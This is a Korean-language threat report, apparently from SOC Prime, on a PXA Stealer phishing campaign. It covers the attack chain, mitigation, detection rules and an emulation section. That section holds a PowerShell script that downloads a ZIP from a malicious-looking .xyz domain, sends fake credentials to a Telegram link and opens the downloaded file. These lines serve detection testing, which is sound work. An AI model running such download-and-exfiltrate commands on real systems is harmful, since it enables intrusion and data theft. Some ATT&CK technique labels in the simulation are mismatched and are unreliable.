SOC Prime Bias: 중간

31 3월 2026 16:58

피싱에서 유출까지: PXA 스틸러 심층 분석

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
피싱에서 유출까지: PXA 스틸러 심층 분석
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이번 보고서는 2026년 초 금융기관을 타겟으로 한 PXA Stealer 활동의 급증을 설명합니다. 공격자는 피싱 이메일을 통해 악성 ZIP 아카이브를 배포하고 합법적인 시스템 도구와 이름이 바뀐 Python 인터프리터를 악용하는 다단계 감염 체인을 사용합니다. 활성화되면 이 악성코드가 브라우저 자격증명, 저장된 비밀번호, 암호화폐 지갑 데이터를 탈취하고 수집된 정보를 Telegram을 통해 유출합니다. 이 캠페인은 운영자들이 이전의 다른 인포스틸러 생태계에 대한 중단 이후 그들의 무역공예를 어떻게 조정했는지를 강조합니다.

조사

CyberProof의 연구자들은 악성 Pumaproject.zip 아카이브를 전달한 피싱 이메일부터 Telegram을 통한 데이터 유출까지의 전체 공격 체인을 재구성했습니다. 그들의 분석을 통해 디코딩을 위한 Certutil의 악용, 추출을 위한 picture.png 로 위장한 WinRAR 사본, 숨겨진 Dots 폴더, 봇 식별자와 연관된 난독화된 스크립트를 실행하는 이름이 바뀐 svchost.exe Python 인터프리터를 확인했습니다. 지속성은 레지스트리 값 항목을 통해 유지됩니다.

완화

수비수는 의심스러운 아카이브 첨부 파일을 식별하고 예상치 못한 경로에서의 스크립트 실행과 알려진 LOLBin을 모니터링하며, Telegram과 같은 비정상적인 TLD로의 아웃바운드 트래픽을 차단해야 하며, .shop and .xyz. 보안팀은 또한 이메일 게이트웨이를 강화하고 Office 파일 및 스크립트 기반 콘텐츠에 대한 엄격한 실행 제어를 적용해야 합니다.

대응

PXA Stealer가 감지되면, 감염된 호스트를 격리하고 휘발성 증거를 캡처하며, 참조된 파일 아티팩트 및 레지스트리 수정 사항을 검색합니다. 악성 파일을 제거하고 감염된 프로세스를 종료하며 노출된 자격증명을 재설정합니다. 팀은 그런 다음 환경 전반에 걸쳐 일치하는 지표에 대한 더 넓은 위협 사냥을 수행하고 관련 이해관계자에게 통보해야 합니다.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe"] class file_zip file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["<b>Process</b> – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["<b>Process</b> – inter.cmd"] class process_inter_cmd process tool_certutil["<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content"] class tool_certutil tool file_shodan_pdf["<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload."] class action_decode action action_hidden_dir["<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["<b>File</b> – Dots (hidden directory)"] class file_hidden_dir file action_relocate["<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["<b>Tool</b> – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["<b>File</b> – Password protected archive (shodan2201)"] class file_archive file action_rc_script["<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["<b>Process</b> – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>

그래프 TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% 노드 정의 action_phishing[“<b>액션</b> – <b>T1566.001 피싱: 스피어피싱 첨부</b><br/>설명: 악성 ZIP(Pumaproject.zip)과 Document.docx.exe이 포함된 이메일.”] class action_phishing action file_zip[“<b>파일</b> – Pumaproject.zip<br/><b>포함하고 있는 것</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>액션</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>설명: 피해자가 첨부된 실행 파일을 엽니다.”] class action_user_exec action process_malicious_exe[“<b>프로세스</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>액션</b> – <b>T1574 실행 흐름 하이재킹</b><br/>설명: inter.cmd를 시작하고 certutil을 사용하여 Shodan.pdf에서 페이로드를 디코드합니다.”] class action_execution_hijack action process_inter_cmd[“<b>프로세스</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>도구</b> – certutil.exe<br/><b>목적</b>: base64 내용 디코드”] class tool_certutil tool file_shodan_pdf[“<b>파일</b> – Shodan.pdf<br/><b>포함하고 있는 것</b>: Base64로 인코딩된 페이로드”] class file_shodan_pdf file action_defense_embedded[“<b>액션</b> – <b>T1027.009 내장 페이로드</b><br/>설명: 페이로드가 PDF 파일 안에 숨겨져 있습니다.”] class action_defense_embedded action action_decode[“<b>액션</b> – <b>T1140 파일 또는 정보 복호화/디코딩</b><br/>설명: certutil이 페이로드를 디코드합니다.”] class action_decode action action_hidden_dir[“<b>액션</b> – <b>T1564.001 숨겨진 파일 및 디렉터리</b><br/>설명: 악성코드가 중간 파일을 위한 숨겨진 “Dots” 폴더를 만듭니다.”] class action_hidden_dir action file_hidden_dir[“<b>파일</b> – Dots (숨겨진 디렉터리)”] class file_hidden_dir file action_relocate[“<b>액션</b> – <b>T1070.010 지표 제거: 악성코드 이동</b><br/>설명: 악성 파일을 숨겨진 “Dots” 디렉터리로 이동합니다.”] class action_relocate action action_compression[“<b>액션</b> – <b>T1027.015 압축</b><br/>설명: picture.png로 이름이 바뀐 WinRAR이 비밀번호로 보호된 아카이브(비밀번호 shodan2201)을 추출합니다.”] class action_compression action tool_winar[“<b>도구</b> – WinRAR (이름이 바뀐 picture.png)”] class tool_winar tool file_archive[“<b>파일</b> – 비밀번호로 보호된 아카이브 (shodan2201)”] class file_archive file action_rc_script[“<b>액션</b> – <b>T1037.004 RC 스크립트</b><br/>설명: 휴대용 파이썬이 드롭되고 svchost.exe로 이름이 변경되어 $BOT_ID 인자로 실행됩니다.”] class action_rc_script action process_svc_host[“<b>프로세스</b> – svchost.exe (악의적인 파이썬 인터프리터)”] class process_svc_host process action_active_setup[“<b>액션</b> – <b>T1547.014 활성 설정</b><br/>설명: 시작 시 svchost.exe를 실행하도록 레지스트리 항목 추가됨.”] class action_active_setup action action_com_hijack[“<b>액션</b> – <b>T1546.015 COM 하이재킹</b><br/>설명: 자동 실행을 위한 COM 하이재킹 레지스트리 항목 생성됨.”] class action_com_hijack action action_cred_browser[“<b>액션</b> – <b>T1555.003 웹 브라우저에서 자격증명</b><br/>설명: 비밀번호, 쿠키, 암호화폐 지갑 데이터를 탈취하기 위해 브라우저에 주입됩니다.”] class action_cred_browser action action_cred_cookies[“<b>액션</b> – <b>T1539 웹 세션 쿠키 탈취</b><br/>설명: 재사용을 위해 웹 세션 쿠키를 추출합니다.”] class action_cred_cookies action action_keylogging[“<b>액션</b> – <b>T1056.001 입력 캡처: 키로깅</b><br/>설명: 사용자의 키 입력을 포착합니다.”] class action_keylogging action action_exfil_telegram[“<b>액션</b> – <b>T1567 웹 서비스를 통한 유출</b><br/>설명: 수집된 데이터를 공격자가 제어하는 Telegram 채널로 보냅니다.”] class action_exfil_telegram exfil action_exfil_c2[“<b>액션</b> – <b>T1041 C2 채널을 통한 유출</b><br/>설명: Telegram을 C2와 유출 채널로 사용합니다.”] class action_exfil_c2 exfil %% 연결 action_phishing –>|전달| file_zip file_zip –>|실행| action_user_exec action_user_exec –>|실행| process_malicious_exe process_malicious_exe –>|실행| action_execution_hijack action_execution_hijack –>|실행| process_inter_cmd process_inter_cmd –>|사용| tool_certutil tool_certutil –>|디코드| file_shodan_pdf file_shodan_pdf –>|포함| action_defense_embedded action_defense_embedded –>|트리거| action_decode action_decode –>|생성| action_hidden_dir action_hidden_dir –>|생성| file_hidden_dir action_hidden_dir –>|저장| action_relocate action_relocate –>|파일 이동| file_hidden_dir action_relocate –>|이동| action_compression action_compression –>|사용| tool_winar tool_winar –>|추출| file_archive file_archive –>|제공| action_rc_script action_rc_script –>|실행| process_svc_host process_svc_host –>|설정| action_active_setup process_svc_host –>|설정| action_com_hijack process_svc_host –>|사용 가능| action_cred_browser process_svc_host –>|사용 가능| action_cred_cookies process_svc_host –>|사용 가능| action_keylogging action_keylogging –>|데이터 입력| action_exfil_telegram action_cred_browser –>|데이터 입력| action_exfil_telegram action_cred_cookies –>|데이터 입력| action_exfil_telegram action_exfil_telegram –>|채널 사용| action_exfil_c2

공격 흐름

탐지

비정상적 경로에서 시스템 프로세스 실행 (process_creation 통해)

SOC Prime 팀
2026년 3월 31일

비정상적인 상위 레벨 도메인(TLD) DNS 요청을 통한 의심스러운 명령 및 제어 (dns 통해)

SOC Prime 팀
2026년 3월 31일

공개 사용자 프로필에서의 의심스러운 실행 (process_creation 통해)

SOC Prime 팀
2026년 3월 31일

비정상적인 실행 가능 바이너리 확장자 (process_creation 통해)

SOC Prime 팀
2026년 3월 31일

공개 사용자 프로필의 의심스러운 파일 (file_event 통해)

SOC Prime 팀
2026년 3월 31일

Certutil을 사용한 데이터 인코딩 및 Cert 작업 (cmdline 통해)

SOC Prime 팀
2026년 3월 31일

IOCs (HashMd5) 탐지: 피싱에서 유출까지: PXA 스틸러에 대한 심층 분석 2부

SOC Prime AI 규칙
2026년 3월 31일

IOCs (DestinationIP) 탐지: 피싱에서 유출까지: PXA 스틸러에 대한 심층 분석

SOC Prime AI 규칙
2026년 3월 31일

IOCs (HashMd5) 탐지: 피싱에서 유출까지: PXA 스틸러에 대한 심층 분석 1부

SOC Prime AI 규칙
2026년 3월 31일

IOCs (SourceIP) 탐지: 피싱에서 유출까지: PXA 스틸러에 대한 심층 분석

SOC Prime AI 규칙
2026년 3월 31일

IOCs (HashSha256) 탐지: 피싱에서 유출까지: PXA 스틸러에 대한 심층 분석

SOC Prime AI 규칙
2026년 3월 31일

PXA 스틸러 실행 활동 탐지 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 3월 31일

PXA 스틸러 아웃바운드 연결 탐지 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 3월 31일

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 비행 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대자 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 식별된 TTP와 직접적으로 반영되어야 하며, 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령어:
    위협 행위자는 PXA 스틸러 를 손상된 Windows 호스트에 배포합니다. 사용자가 초기 악성 바이너리(T1204.002)를 무의식적으로 실행한 후, 스틸러는 PowerShell 스니펫을 실행하여:

    1. 악성 ZIP 파일 다운로드 하기 고정된 도메인 에서 (T1202 – 간접 명령 실행).
    2. 수확된 데이터 유출 을 Telegram 채널에 메시지를 게시하여 t.me (T1559.002 – 피싱 링크) 통해.
    3. 선택적으로 지속성을 달성하기 위해 악성 COM 컴포넌트를 로드합니다 (T1127.002).

    두 개의 아웃바운드 HTTP GET 요청은 Sigma 규칙에서 모니터링하는 DestinationDomain 필드를 생성하여 경고를 발생시킵니다.

  • 회귀 테스트 스크립트:

    # PXA 스틸러 시뮬레이션 – 탐지 규칙을 트리거함
    $tmpZip = "$env:TEMPpayload.zip"
    $tmpMsg = "$env:TEMPsteal.txt"
    
    # 1. 첫 번째 악성 도메인에서 악성 ZIP 다운로드
    Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
    
    # 2. Telegram 링크를 통해 데이터 유출 시뮬레이션
    $payload = "사용자 자격증명: admin / Pass123!"
    Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
    Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
    
    # 3. (선택 사항) T1127.002를 에뮬레이트하기 위해 더미 COM 개체를 로드
    try {
        $com = New-Object -ComObject "Shell.Application"
        $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
    } catch {
        # 오류 무시 – 이는 원격 측정을 위한 것입니다
    }
  • 정리 명령어:

    # 시뮬레이션에서 생성된 아티팩트 제거
    Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
    Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue